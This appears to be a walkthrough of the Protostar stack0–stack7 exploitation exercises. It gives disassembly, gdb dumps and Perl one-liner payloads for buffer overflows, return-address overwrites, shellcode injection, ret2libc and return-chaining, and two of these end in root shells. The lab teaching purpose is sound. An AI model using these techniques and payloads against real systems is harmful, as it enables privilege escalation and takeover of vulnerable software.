For this scenario we need to overwrite the stack variable $modified. To get a better idea about the binary a look at the assembly helps.
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x60,%esp
0x080483fd <main+9>: movl $0x0,0x5c(%esp)
0x08048405 <main+17>: lea 0x1c(%esp),%eax ;load $buffer address into EAX
0x08048409 <main+21>: mov %eax,(%esp) ;set ESP
0x0804840c <main+24>: call 0x804830c <gets@plt> ;vulnerable funtion
0x08048411 <main+29>: mov 0x5c(%esp),%eax ;load $modified into EAX
0x08048415 <main+33>: test %eax,%eax ;Sets ZF
0x08048417 <main+35>: je 0x8048427 <main+51> ;$modified was not modified
0x08048419 <main+37>: movl $0x8048500,(%esp)
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: movl $0x8048529,(%esp) ;target for main+35
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
In order to overwrite the $modified variable the following command is sufficient to do the task.
user@protostar:/$/usr/bin/perl -e 'print("A"x65);' | /opt/protostar/bin/stack0
Finally, we examine the assembly closer. The $buffer variable is stored at 0x1c. The $modified is located at 0x5c. In order to modify $modified we need to write 0x40+1 bytes at main+24.
In this scenario we have to write a specific value on the stack. First, we take a look at the important changes in the assembly.
...
0x080484a7 <main+67>: mov 0x5c(%esp),%eax ;load $modified into EAX
0x080484ab <main+71>: cmp $0x61626364,%eax ;compare against 0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
...
This time the test is against a static value. The offset for the stack variable is still the same. As the code is little endian, the desired vektor is simply “dcba”. The respective command to manipulate the execution path is as follows:
user@protostar:/$/opt/protostar/bin/stack1 `/usr/bin/perl -e 'print("A"x64 ."dcba");'`
This level requests use to set the GRENNIE environment variable. We extracted the relevant parts of the assembly.
...
0x0804849d <main+9>: movl $0x80485e0,(%esp)
0x080484a4 <main+16>: call 0x804837c <getenv@plt> ;retrieves an ENV variable
0x080484a9 <main+21>: mov %eax,0x5c(%esp) ;store on stack
...
0x080484c8 <main+52>: movl $0x0,0x58(%esp) ;initialise $modified
...
0x080484d8 <main+68>: lea 0x18(%esp),%eax ;load $buffer address into EAX
0x080484dc <main+72>: mov %eax,(%esp)
0x080484df <main+75>: call 0x804839c <strcpy@plt> ;vulnerable function
0x080484e4 <main+80>: mov 0x58(%esp),%eax ;
0x080484e8 <main+84>: cmp $0xd0a0d0a,%eax ;compare against 0xd0a0d0a
0x080484ed <main+89>: jne 0x80484fd <main+105>
...
The binary makes use of the unsecure strcpy function. We can spot the offset for the $modified variable at main+52. Again, the $buffer variable ist 0x40 bytes which results in the following command to complete the level.
user@protostar:/$export GREENIE=`perl -e 'print("A"x64 . "\x0a\x0d\x0a\x0d");'` && /opt/protostar/bin/stack2
In the level we have to overwrite a function pointer. Let us first examine the relevant parts of the disassembly.
...
0x08048449 <main+17>: lea 0x1c(%esp),%eax ;load address of $buffer
0x0804844d <main+21>: mov %eax,(%esp)
0x08048450 <main+24>: call 0x8048330 <gets@plt> ;vulnerable function
...
0x08048471 <main+57>: mov 0x5c(%esp),%eax ;load $fp into EAX
0x08048475 <main+61>: call %eax ;execute EAX
The functionality is again base on level 0. We have to write 0x40 bytes to gain control of the execution flow. The right address of win() can be identified via objdump: 0x8048424. We can simply adjust the command from level 1 to include the respective address.
user@protostar:/$perl -e 'print("A"x64 ."\x24\x84\x04\x08");' | /opt/protostar/bin/stack3
The next step after level 3 is to directly overwrite EIP. A look at the disassembly before starting.
0x08048408 <main+0>: push %ebp
0x08048409 <main+1>: mov %esp,%ebp
0x0804840b <main+3>: and $0xfffffff0,%esp
0x0804840e <main+6>: sub $0x50,%esp
0x08048411 <main+9>: lea 0x10(%esp),%eax ;
0x08048415 <main+13>: mov %eax,(%esp)
0x08048418 <main+16>: call 0x804830c <gets@plt> ;vulnerable function
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
Again, $buffer is 0x40 bytes of size. For this level we need to perform a jump to: 0x080483f4. In order to overwrite EIP we need to identify the number of bytes to write. To do so we have to take a look at the stack frame structure:
| | High memory addresses
| Parameters |
| Return Address |
| Base Pointer | - EBP
| buffer[64] |
| | - ESP
| | Low memory addresses
With this knowledge we can examine the stack at main+21.
(gdb) x/2x $ebp
0xbffff658: 0xbffff6d8 0xb7eadc76
(gdb) x/24x $esp
0xbffff600: 0xbffff610 0xb7ec6165 0xbffff618 0xb7eada75
0xbffff610: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff620: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff640: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff650: 0x08048400 0x00000000 0xbffff6d8 0xb7eadc76
The pictures shows that the value of EBP is located at ESP+92. This sums up to 76 bytes we need to write before we can control the return address. The respective command ist a follows:
user@protostar:/$perl -e 'print("A"x64 ."B"x4 ."C"x4 ."D"x4 ."\xf4\x83\x04\x08");' | /opt/protostar/bin/stack4
The goal now is to inject our own shellcode. We have got the following assembly:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
The return address should be the start of $buffer at 0xbffff610. From the previous example we know that we have to write 76 bytes.
Starting program: /opt/protostar/bin/stack5 < /tmp/vec5_1
Breakpoint 1, main (argc=0, argv=0xbffff704) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/24x $esp
0xbffff600: 0xbffff610 0xb7ec6165 0xbffff618 0xb7eada75
0xbffff610: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff620: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff630: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff640: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff650: 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff610
After that we can add a simple shell code. For demonstration purpose a simple “hello world” shellcode will do.
user@protostar:/$perl -e 'print("\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(76-53) ."\x10\xf6\xff\xbf");' > /tmp/vec5
Debugging the shellcode in gdb works. Stack addresses change with gdb attached. So we have to start from a core dump. To enable core dumps on suid binaries we have to set the proper flag.
user@protostar:/$echo 2 > /proc/sys/fs/suid_dumpable
Now we can try to run the exploit code directly against the binary. The exploit fails but a core dump is created. With gdb we can now examine the stack and adjust the offsets.
user@protostar:/$gdb /opt/protostar/bin/stack5 --core /tmp/core.4.stack5.3688
GNU gdb (GDB) 7.0.1-debian
...
Core was generated by '/opt/protostar/bin/stack5'.
Program terminated with signal 4, Illegal instruction.
#0 0xbffff645 in ?? ()
(gdb) x/24x 0xbffff610
0xbffff610: 0xbffff620 0xb7ec6165 0xbffff628 0xb7eada75
0xbffff620: 0x00001ee9 0x0004b800 0x01bb0000 0x59000000
0xbffff630: 0x00000fba 0xb880cd00 0x00000001 0x000000bb
0xbffff640: 0xe880cd00 0xffffffdd 0x6c6c6548 0x57202c6f
0xbffff650: 0x646c726f 0xcccccc21 0xcccccccc 0xcccccccc
0xbffff660: 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff640
The correct offset should be 0xbffff620. Let’s try again with the following command.
user@protostar:/$perl -e 'print("\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(76-53) ."\x20\xf6\xff\xbf");' | /opt/protostar/bin/stack5
Hello, World!�
At first, we have to identify the location of the overflow.
0x080484a4 <getpath+32>: lea -0x4c(%ebp),%eax
0x080484a7 <getpath+35>: mov %eax,(%esp)
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
The code loads the address of EBP-0x4c into EAX. So to overwrite the return address we have to write 0x50 bytes. Let’s test the alignment.
(gdb) x/40x $ebp-100
0xbffff5e4: 0x00000000 0xb7fe1b28 0x00000001 0x00000000
0xbffff5f4: 0x00000001 0xb7fff8f8 0xcccccccc 0xcccccccc
0xbffff604: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff614: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff624: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff634: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xbffff644: 0xcccccccc 0xcccccccc 0x08048500 0x08048520
0xbffff654: 0x00000000 0xbffff6d8 0xb7eadc76 0x00000001
It worked! The next step is to set EIP.
user@protostar:/$perl -e 'print("\xCC"x80 ."\xfc\xf5\xff\xbf");' | /opt/protostar/bin/stack6
input path please: bzzzt (0xbffff604)
This did not work. Lets examine what’s going on.
0x080484af <getpath+43>: mov 0x4(%ebp),%eax ; load return address
0x080484b2 <getpath+46>: mov %eax,-0xc(%ebp)
0x080484b5 <getpath+49>: mov -0xc(%ebp),%eax
0x080484b8 <getpath+52>: and $0xbf000000,%eax ; apply mask
0x080484bd <getpath+57>: cmp $0xbf000000,%eax ; check address
0x080484c2 <getpath+62>: jne 0x80484e4
The binary checks whether the return address starts with \xbf. Our shellcode is placed in exactly this part of memory. This means that we cannot simply return to our shellcode Instead we have to find another way to exploit the overflow.
The first option is when our payload is also loaded into another memory location. In order to look for a location the need to debug the binary. With gdb we can even search the memory for a pattern.
(gdb) info files
Symbols from "/opt/protostar/bin/stack6".
Local core dump file:
'/tmp/core.11.stack6.3845', file type elf32-i386.
0x08048000 - 0x08049000 is load1
0x08049000 - 0x0804a000 is load2
0xb7e96000 - 0xb7e97000 is load3
0xb7e97000 - 0xb7e98000 is load4a
0xb7e98000 - 0xb7e98000 is load4b
0xb7fd5000 - 0xb7fd5000 is load5
0xb7fd6000 - 0xb7fd8000 is load6
0xb7fd8000 - 0xb7fd9000 is load7
0xb7fd9000 - 0xb7fdc000 is load8
0xb7fde000 - 0xb7fe2000 is load9
...
(gdb) find /w1 0xb7fde000, 0xb7fde200, 0xcccccccc
0xb7fde000
1 pattern found.
(gdb) x/40x 0xb7fde000
0xb7fde000: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb7fde010: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb7fde020: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb7fde030: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb7fde040: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb7fde050: 0xbffff5fc 0x00000000 0x00000000 0x00000000
0xb7fde060: 0x00000000 0x00000000 0x00000000 0x00000000
We are lucky, our data is also stored outside of the filtered memory space. To exploit the overflow we cansimply stick to the Hello World shellcode. Subsequently, we only have to update the return address in order to successfully return to our shellcode.
user@protostar:/$perl -e 'print("\x90"x4 ."\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(80-53-4) ."\x04\xe0\xfd\xb7");' | /opt/protostar/bin/stack6
input path please: got path �����
Hello, World!�
Another option we have got is utilizing library functionality loaded during runtime. To do this we have to understand the respective functions and their arguments. For this example we are going to stick with the system() function call to execute our code. This will provide us with a root shell. Another option would be the use of execl() with the respective arguments. Let’s quickly take a look at the memory layout before exploitation.
------------ ----------- -----------
| buffer[64] | saved EBP | saved EIP |
------------ ----------- -----------
and after the overflow
------------ ----------- ----------- ------------ ------------
| buffer[80] | &system() | &exit() | &shellcode |
------------ ----------- ----------- ------------ ------------
In this example we will utilize system() and exit(). The corresponding addresses can be retrieved via gdb.
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <GI_exit>
Remember, we are going to execute a payload via system(). Therefore, the environment variable will contain the path to the shellcode. The shellcode in this example is simply a binary. The absolute path to the respective binary will be stored in a environment variable. We then have to calculate the address of the variable during runtime. To do this, just grab an appropriate script online that helps you doing so. This adress is placed on the stack to act as an argument for system().
user@protostar:/$ export CODE="/home/user/13357"
user@protostar:/$ /home/user/getenvaddr CODE /opt/protostar/bin/stack6
CODE will be at 0xbfffff8d
Now we have all the essential pointers and only need to prepare the shellcode. So this time we want to gain a root shell with the exploit. Keep in mind that bash will drop all privileges. Therefore we are going to utilize a shellcode from exploit-db 13367.
user@protostar:/opt/protostar/bin$ perl -e 'print("\xCC"x(80) ."\xb0\xff\xec\xb7" ."\xc0\x60\xec\xb7" ."\x8d\xff\xff\xbf");' | /opt/protostar/bin/stack6
input path please: got path �����
# whoami
root
One more option we do have is utilizing return-oriented programming. This is especially useful when we encounter NX technology. Also, ASLR does not affect the program code itself. This means, ASLR can also be defeated. For this scenario, we simply take the next RET function at hand.
(gdb) disassemble getpath
...
0x080484f9 <getpath+117>: ret
So we have to set the return address to 0x080484f9. The return address is set to point at our buffer at 0xbffff5ac.
Usually ROP is utilized to circumvent DEP protection. Again, we place our Hello world payload in the buffer. The exploit can be triggered via the following command.
user@protostar:/$ perl -e 'print("\x90"x4 ."\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(80-53-4) ."\xf9\x84\x04\x08" ."\xdc\xf5\xff\xbf");' | /opt/protostar/bin/stack6
input path please: got path �����
Hello, World!�
This example is based binary from the previous exercise. Although, this time the return address is again restricted. So, we need to find another way to execute our payload. Let’s take a look at the source code.
...
0x080484ea <getpath+38>: call 0x80483a4 <gets@plt>
0x080484ef <getpath+43>: mov 0x4(%ebp),%eax
0x080484f2 <getpath+46>: mov %eax,-0xc(%ebp)
0x080484f5 <getpath+49>: mov -0xc(%ebp),%eax ; copy return address into EAX
0x080484f8 <getpath+52>: and $0xb0000000,%eax ; zero out all non important bits
0x080484fd <getpath+57>: cmp $0xb0000000,%eax ; check first byte of address
0x08048502 <getpath+62>: jne 0x8048524 <getpath+96>
...
0x0804853e <getpath+122>: call 0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret
Fortunately for us, strdup() is called just before returning. The function copies the target buffer to the heap. The return value, the address of the target buffer, is stored in EAX. So we simply need to overwrite the return address with a call to EAX.
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x0804A008 EBX: 0xB7FD7FF4 ECX: 0x00000000 EDX: 0x00000001 o d I t s z a p c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xCCCCCCCC ESP: 0xBFFFF630 EIP: 0x41414141
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
With objdump we can find a suiteable location with the respective call to EAX.
user@protostar:/$ objdump -d stack7 | grep -iP "call.*eax"
8048478: ff 14 85 5c 96 04 08 call *0x804965c(,%eax,4)
80484bf: ff d0 call *%eax
80485eb: ff d0 call *%eax
So we only need to apply a suitable shellcode to exploit the flaw. The respective command is as follows.
user@protostar:/$ perl -e 'print("\x90"x4 ."\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ."\xCC"x(80-55-4) ."\xeb\x85\x04\x08" );' | /opt/protostar/bin/stack7
input path please: got path ����1�1۰̀Sh/ttyh/dev��'�̀1�Ph//shh/bin�S�ᙰ
̀�
# whoami
root
With the knowledge from the previous example we can also try return oriented programming. We need to find the address of a ret call.
(gdb) disassemble getpath
...
0x08048544 <getpath+128>: ret
The parameter for the function call is once again the beginning of the buffer. In particular this is 0xbfffff5dc. The final command to exploit the vulnerability is as follows.
user@protostar:/$ perl -e 'print("\x90"x4 ."\xe9\x1e\x00\x00\x00" ."\xb8\x04\x00\x00\x00" ."\xbb\x01\x00\x00\x00" ."\x59" ."\xba\x0f\x00\x00\x00" ."\xcd\x80" ."\xb8\x01\x00\x00\x00" ."\xbb\x00\x00\x00\x00" ."\xcd\x80" ."\xe8\xdd\xff\xff\xff" ."\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21" ."\xCC"x(80-53-4) ."\x44\x85\x04\x08" ."\xdc\xf5\xff\xbf");' | /opt/protostar/bin/stack7
input path please: got path �����
Hello, World!�